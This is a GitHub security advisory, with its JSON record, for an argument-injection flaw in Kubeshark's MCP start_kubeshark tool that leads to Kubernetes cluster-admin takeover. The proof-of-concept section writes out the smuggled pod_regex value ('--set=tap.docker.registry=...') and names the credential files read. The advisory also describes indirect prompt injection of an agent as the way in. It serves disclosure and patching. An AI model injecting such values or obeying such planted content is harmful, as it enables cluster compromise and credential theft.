GHSA-8VF2-HXG5-CRQH
Vulnerability from github – Published: 2026-11-16 22:17 – Updated: 2026-11-16 22:17Ecosystem / package: Go — github.com/kubeshark/kubeshark (the kubeshark
CLI, kubeshark mcp subcommand)
Affected component: cmd/mcpRunner.go, MCP tool start_kubeshark
Affected versions: >= v53.1.0, < v53.4.0 (the flaw shipped with the MCP
command's first release; v53.3.0 was the last affected release)
Patched version: v53.4.0
Credit: novice-22 (Urim), via private coordinated disclosure.
Summary
The start_kubeshark MCP tool builds a kubeshark tap command by appending the
caller-supplied pod_regex as a bare positional argument, with no --
end-of-options separator. Because tap is a cobra command, a pod_regex that
begins with -/--set= is parsed as a flag, not as the pod regex. An
attacker who can influence the tool arguments (e.g. indirect prompt injection
against an agent driving kubeshark mcp --allow-destructive) can inject
arbitrary --set Helm value overrides — notably tap.docker.registry /
tap.docker.tag — redirecting the deployed worker/hub/front images to an
attacker-controlled registry. The worker DaemonSet runs privileged with
hostNetwork and the host filesystem mounted, so an attacker image yields node
and cluster-admin compromise.
Introduced in
Commit 0bbbb473 — "[1] Add MCP (Model Context Protocol) server command
(#1832)", 2026-02-06 — first released in v53.1.0 (v53.1.0~23). The
pod_regex argument has been appended as a bare positional since the tool's
introduction; there is no regression window, every MCP-capable release is
affected.
Details
In callStartKubeshark (cmd/mcpRunner.go), the command was built as
["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"] with
pod_regex inserted as a raw element. cobra parses flags positionally-agnostic
and there was no -- guard, so pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…"
became a real --set. The tool is only registered when
kubeshark mcp --allow-destructive is set.
Proof of concept (reporter, abridged)
Driving kubeshark mcp --allow-destructive: start_kubeshark with
pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>" caused
the CLI to construct kubeshark tap --set=… --set headless=true, deploying an
attacker image. The image ran as root inside the privileged worker container and
read the host's cluster-admin kubeconfigs
(/etc/kubernetes/super-admin.conf, admin.conf, pki/) — i.e. cluster-admin
takeover from a single pod_regex value.
Impact
Full Kubernetes cluster compromise (cluster-admin) from a single injected tool
argument, when the operator runs the MCP server with --allow-destructive.
Severity rationale
Kubeshark scores this 7.2 High, down from the reporter's 8.3, on two metrics. The
impact half of the vector (S:C/C:H/I:H/A:H) is unchanged — cluster-admin
takeover is real and Kubeshark does not contest it.
AV:N→AV:L.kubeshark mcpis a local stdio MCP server with no network listener. The attacker's payload reaches it as content an agent running on that host ingested and replayed into a local tool call. The poisoned content may have travelled over a network, but the exploited interface is local.PR:N→PR:H. Two administrative preconditions must already hold on the target host: the operator must have started the MCP server with the explicit, non-default--allow-destructiveflag (without itstart_kubesharkis not registered at all), and that host must already hold a kubeconfig with permission to deploy the privileged Kubeshark DaemonSet. The attacker is borrowing an existing high-privilege context, not gaining one.
Kubeshark kept AC:H (the injection must land in content the agent ingests, and
the attacker must stand up a malicious registry/image), UI:R (an operator
must be actively driving the agent), and S:C (the compromise crosses from
the CLI's authorization scope into the Kubernetes cluster — this is what keeps
the score in the High band).
Patches
Fixed in v53.4.0 by commit
a76a1920
(PR #1957).
In cmd/mcpRunner.go: pod_regex is now appended last, after a
literal -- end-of-options separator, so it is always parsed as the
[POD REGEX] positional and can never be interpreted as a flag. (namespaces /
release_namespace are passed through -n / -s value flags, which consume
their value token and are therefore not injectable.)
Workarounds
- Do not run
kubeshark mcpwith--allow-destructiveunless required. - Do not expose the MCP server to untrusted content / untrusted agent inputs.
- Restrict the kubeconfig/permissions available to the machine running the MCP server.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeshark/kubeshark"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2-0.20260206182249-0bbbb473ea3f"
},
{
"fixed": "0.0.2-0.20260812200004-a76a1920dc75"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-129236"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-16T22:17:32Z",
"nvd_published_at": "2026-11-16T17:17:31Z",
"severity": "HIGH"
},
"details": "**Ecosystem / package:** Go \u2014 `github.com/kubeshark/kubeshark` (the `kubeshark`\nCLI, `kubeshark mcp` subcommand)\n**Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark`\n**Affected versions:** `\u003e= v53.1.0`, `\u003c v53.4.0` (the flaw shipped with the MCP\ncommand\u0027s first release; v53.3.0 was the last affected release)\n**Patched version:** `v53.4.0`\n**Credit:** novice-22 (Urim), via private coordinated disclosure.\n\n## Summary\nThe `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the\ncaller-supplied `pod_regex` as a bare positional argument, with no `--`\nend-of-options separator. Because `tap` is a cobra command, a `pod_regex` that\nbegins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An\nattacker who can influence the tool arguments (e.g. indirect prompt injection\nagainst an agent driving `kubeshark mcp --allow-destructive`) can inject\narbitrary `--set` Helm value overrides \u2014 notably `tap.docker.registry` /\n`tap.docker.tag` \u2014 redirecting the deployed worker/hub/front images to an\nattacker-controlled registry. The worker DaemonSet runs privileged with\n`hostNetwork` and the host filesystem mounted, so an attacker image yields node\nand cluster-admin compromise.\n\n## Introduced in\nCommit `0bbbb473` \u2014 \"[1] Add MCP (Model Context Protocol) server command\n(#1832)\", 2026-02-06 \u2014 first released in **v53.1.0** (`v53.1.0~23`). The\n`pod_regex` argument has been appended as a bare positional since the tool\u0027s\nintroduction; there is no regression window, every MCP-capable release is\naffected.\n\n## Details\nIn `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as\n`[\"tap\", \u003cpod_regex\u003e, \"-n\", \u2026, \"--set\", \u2026, \"--set\", \"headless=true\"]` with\n`pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic\nand there was no `--` guard, so `pod_regex=\"--set=tap.docker.registry=\u2026,tap.docker.tag=\u2026\"`\nbecame a real `--set`. The tool is only registered when\n`kubeshark mcp --allow-destructive` is set.\n\n## Proof of concept (reporter, abridged)\nDriving `kubeshark mcp --allow-destructive`: `start_kubeshark` with\n`pod_regex=\"--set=tap.docker.registry=\u003cattacker\u003e,tap.docker.tag=\u003ctag\u003e\"` caused\nthe CLI to construct `kubeshark tap --set=\u2026 --set headless=true`, deploying an\nattacker image. The image ran as root inside the privileged worker container and\nread the host\u0027s cluster-admin kubeconfigs\n(`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) \u2014 i.e. cluster-admin\ntakeover from a single `pod_regex` value.\n\n## Impact\nFull Kubernetes cluster compromise (cluster-admin) from a single injected tool\nargument, when the operator runs the MCP server with `--allow-destructive`.\n\n## Severity rationale\nKubeshark scores this **7.2 High**, down from the reporter\u0027s 8.3, on two metrics. The\nimpact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged \u2014 cluster-admin\ntakeover is real and Kubeshark does not contest it.\n\n- **`AV:N` \u2192 `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no\n network listener. The attacker\u0027s payload reaches it as content an agent\n running on that host ingested and replayed into a local tool call. The\n poisoned content may have travelled over a network, but the exploited\n interface is local.\n- **`PR:N` \u2192 `PR:H`.** Two administrative preconditions must already hold on the\n target host: the operator must have started the MCP server with the explicit,\n non-default `--allow-destructive` flag (without it `start_kubeshark` is not\n registered at all), and that host must already hold a kubeconfig with\n permission to deploy the privileged Kubeshark DaemonSet. The attacker is\n borrowing an existing high-privilege context, not gaining one.\n\nKubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and\nthe attacker must stand up a malicious registry/image), **`UI:R`** (an operator\nmust be actively driving the agent), and **`S:C`** (the compromise crosses from\nthe CLI\u0027s authorization scope into the Kubernetes cluster \u2014 this is what keeps\nthe score in the High band).\n\n## Patches\nFixed in **v53.4.0** by commit\n[`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214)\n(PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)).\n\nIn `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a\nliteral `--` end-of-options separator, so it is always parsed as the\n`[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` /\n`release_namespace` are passed through `-n` / `-s` value flags, which consume\ntheir value token and are therefore not injectable.)\n\n## Workarounds\n- Do not run `kubeshark mcp` with `--allow-destructive` unless required.\n- Do not expose the MCP server to untrusted content / untrusted agent inputs.\n- Restrict the kubeconfig/permissions available to the machine running the MCP\n server.",
"id": "GHSA-8vf2-hxg5-crqh",
"modified": "2026-11-16T22:17:32Z",
"published": "2026-11-16T22:17:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubeshark/kubeshark/security/advisories/GHSA-8vf2-hxg5-crqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-129236"
},
{
"type": "WEB",
"url": "https://github.com/kubeshark/kubeshark/pull/1957"
},
{
"type": "WEB",
"url": "https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubeshark/kubeshark"
},
{
"type": "WEB",
"url": "https://github.com/kubeshark/kubeshark/releases/tag/v53.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` \u2192 image redirect \u2192 cluster takeover"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.